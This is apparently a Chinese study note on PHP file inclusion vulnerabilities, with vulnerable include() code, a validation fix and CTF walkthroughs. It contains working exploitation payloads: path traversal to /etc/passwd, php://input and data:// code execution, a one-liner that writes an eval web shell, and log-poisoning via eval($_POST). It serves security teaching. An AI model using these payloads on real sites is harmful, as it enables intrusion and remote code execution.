本文主要內容
腳本
????????ASP、PHP、JSP、ASPX、Python、Javaweb? ? --# 各種包含函數
檢測
????????白盒????????
????????????????代碼審計
????????黑盒
????????????????漏掃工具、公開漏洞、手工看參數值及功能點類型
????????本地包含
????????????????有限制、無限制????????遠程包含
????????????????無限制、有限制利用
????????http、ftp、file、各種腳本支持協議
修復
????????固定后綴、固定文件、WAF產品
-->?將文件以腳本執行
文件包含漏洞
? ? ? ? 基本含義
文件包含漏洞(File Inclusion Vulnerability)是一種常見的Web安全漏洞,它允許攻擊者通過修改文件路徑,包含服務器上未經授權的文件,可能導致敏感信息泄露、代碼執行或服務器被入侵。根據文件包含的行為,通常分為兩種類型:
本地文件包含(LFI):攻擊者能夠包含和執行服務器本地文件系統中的文件。攻擊者通過修改程序中的文件路徑參數,訪問并讀取本地文件(如配置文件、日志文件、甚至敏感的系統文件),有時也能執行惡意文件。
遠程文件包含(RFI):包含互聯網可以訪問到的文件,危害更大。
文件包含漏洞的根本原因在于用戶輸入未嚴格驗證、不當的文件處理邏輯以及缺乏安全配置。
? ? ? ?
????????模擬場景
場景描述
假設有一個PHP網站,它有一個功能是顯示用戶的個人資料。網站通過URL參數來接收用戶ID,并根據這個ID來顯示相應的用戶資料。這個功能可能使用了類似下面的代碼:
<?php // 假設用戶ID通過URL參數傳遞 $user_id = $_GET['user_id'];// 根據用戶ID包含相應的用戶資料文件 include("users/$user_id.php"); ?>
在這個例子中,
include()
函數被用來包含一個名為users/$user_id.php
的文件。這里的$user_id
是從URL參數中直接獲取的,沒有進行任何驗證或過濾。漏洞利用
攻擊者發現這個功能后,可以嘗試修改
user_id
參數來包含服務器上的其他文件。例如,攻擊者可以通過修改URL為:
http://example.com/profile.php?user_id=../../../../../../../../etc/passwd
來嘗試訪問服務器的
/etc/passwd
文件。如果服務器配置不當,允許執行任意文件,攻擊者甚至可以包含一個遠程服務器上的惡意PHP腳本,從而執行遠程代碼。防御措施
為了防御這種類型的文件包含漏洞,可以采取以下措施:
驗證和過濾用戶輸入:確保所有用戶輸入都經過嚴格的驗證和過濾。在這個例子中,可以檢查
$user_id
是否只包含數字和可能的字母(如果用戶ID允許字母的話)。<?php $user_id = $_GET['user_id'];// 驗證用戶ID是否只包含數字和字母 if (!preg_match('/^[a-zA-Z0-9]+$/', $user_id)) {die('Invalid user ID.'); }include("users/$user_id.php"); ?>
? ? ? ? 模擬場景2
? ? ? ? 在本地搭建環境:配置一個include.php 文件,同時有一個1.txt文件寫入php腳本
? ? ? ? 再通過瀏覽器訪問 127.0.0.1:8080/include.php?filename=1.txt
<?php phpinfo();?>
<?php
$filename=$_GET['filename'];
include($filename);//http://127.0.0.1: 8080/include.php?filename=index.txt?>
? ? ? ? 對比發現,//127.0.0.1:8080/1.txt? 會直接顯示文本數據
? ? ? ? 而通過include($filename);會將指定文件里面的這個內容呢以這個腳本代碼去執行,不同瀏覽器有自己的腳本樣例
? ? ? ? 兩種類型
????????本地包含
????????????????無限制
? ? ? ? ? ? ? ? 瀏覽器訪問訪問/127.0.0.1:8080/include.php?filename=../../../www.txt?
????????????????www.txt文件被當作php腳本執行
<?php echo 'xiaodi'; ?>
????????????????有限制? ? ? ? ? ? ?
? ? ? ? ? ? ? ? 訪問會變成 include.php?filename=index.txt.html??
<?php$filename=$_GET['filename']; include($filename.".html");?>
????????????????%00截斷:條件:magic_quotes_gpc= Off php版本<5.3.4
????????????????filename=../../../www.txt%00? ?--# 不太實用
????????????????長度截斷:條件:windows,點號需要長于256;1inux長于4096? --# 加上n個././?????????遠程包含
? ? ? ? ? ? ? ? 將遠程文件作為腳本讀取?????[直接讀取會當作文本文件]
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
<?php$filename=$_GET['filename']; include($filename);?>
? ? ? ? ? ? ? ? 如果有限制的話如下
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?
? ? ? ? 協議利用
????????????????表格
協議 | PHP 支持情況 | Java 支持情況 |
---|---|---|
http | 支持 | 支持 |
https | 支持 | 支持 |
gopher | 需要?curlwrappers | JDK 1.7 之前不支持,之后支持 |
tftp | 需要?curlwrappers | 不支持 |
dict | 需要?curlwrappers | 不支持 |
file | 支持 | 支持 |
ftp | 支持 | 支持 |
imap | 需要?curlwrappers | 不支持 |
pop3 | 需要?curlwrappers | 不支持 |
rtsp | 需要?curlwrappers | 支持 |
smb | 需要?curlwrappers | 支持 |
smtp | 需要?curlwrappers | 不支持 |
telnet | 需要?curlwrappers | 不支持 |
? ? ? ? PS:(curlwrappers
是 PHP 中的一個特性,它允許 PHP 使用 curl
庫來處理 URL 流。這意味著可以通過 PHP 的一些常用函數,如 fopen()
和 file_get_contents()
,來訪問和操作網絡資源,而不需要直接使用 curl
庫中的函數。curlwrappers
可以簡化 URL 操作,使得開發者可以使用 PHP 中的常見函數來處理網絡請求,而不必學習 curl
庫中的復雜函數。然而,curlwrappers
的功能相對較弱,不能執行 curl
擴展所能進行的更復雜的操作。在編譯 PHP 時,可以通過 --with-curlwrappers
選項來啟用這個特性。)
? ? ? ??php偽協議:
? ? ? ? ? ? ? ? 參考網站
php偽協議 - 看不盡的塵埃 - 博客園https://www.cnblogs.com/endust/p/11804767.html????????
使用案例
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64encode/resource=1.txt? ? --#讀取文件內容
http://127.0.0.1:8080/include.php?filename=php://input
Post:<?php system('ver')?>? --# 使用POST提交
????????<?PHP fputs(fopen('s.php','w'),'<?php@eval($_POsT[cmd])?>');?>
http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
http://127.0.0.1:8080/include.php?filename=data://text/plain,
<?php&20phpinfo();?>
三個案例
? ? ? ? 例題1
asdfhttp://4.chinalover.sinaapp.com/web7/index.php
????????解題過程
????????點開之后變成? /web7/index.php?file=show.php? ?--# 觀察url組成? ?
????????說明可能存在文件包含(訪問地址包含其他文件),試探性訪問/web7/show.php,發現顯示數據一樣都是 “test123”,下面的操作就是,要么執行文件,要么執行命令,
????????如何確定是Linux還是其他OS呢?輸入show.phP,報錯則是Linux (不過我這里可能自動轉小寫,導致沒有報錯,因為Linux嚴格區分大小寫)?,確定系統,發現路被堵住了,此時切換方法
????????/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php,讀取文件內容,加上base64編碼是為了防止出現亂碼
? ? ? ? 例題2
選手訓練營 - 網絡安全競賽|網絡安全競賽培訓|信息安全競賽培訓-i春秋https://www.ichunqiu.com/battalion?t=1&r=0
? ? ? ? 確認操作系統時候直接使用協議,看是否有攔截,hunqiu.com/?path=php://input
? ? ? ? 輸入命令<?php system('cat<dle345aae.php');?>? 執行Linux命令,再查看源碼,得到flag
? ? ? ? 例題3
????????????????/127.0.0.1:8080/ekucms/index.php?s=my/show/id/{~eval($_POST[x])
????????????????訪問不存在的文件,不存在就存到日志里面去了
????????????????/127.0.0.1:8080/ekucms/index.php?s=my/show/id/\..\temp\/ogs\25_05_01.log????????
? ? ? ? ? ? ? ? 后續就進行漏洞輸入x=phpinfo();
ekucms2.5文件漏洞復習_易酷cms漏洞-CSDN博客https://blog.csdn.net/weixin_57744947/article/details/139691909? ? ? ??
知識點補充
PHP 中的
include()
函數用于將指定文件的內容包含到當前文件中,并且執行被包含文件中的代碼。被包含的文件通常包含函數定義、類定義、配置設置或任何其他PHP代碼。include()
函數在PHP腳本執行期間被調用,它會在腳本執行到該行時,將指定文件的代碼讀取并執行。示例
假設有兩個文件:
header.php
和footer.php
,以及一個主文件index.php
。header.php:
<!DOCTYPE html> <html> <head><title>My Page</title> </head> <body>
footer.php:
</body> </html>
index.php:
<?php include('header.php'); ?><h1>Welcome to My Page</h1><?php include('footer.php'); ?>
在這個例子中,
index.php
使用include()
函數包含了header.php
和footer.php
文件。當訪問index.php
時,它實際上顯示了這三個文件的內容,即一個完整的HTML頁面。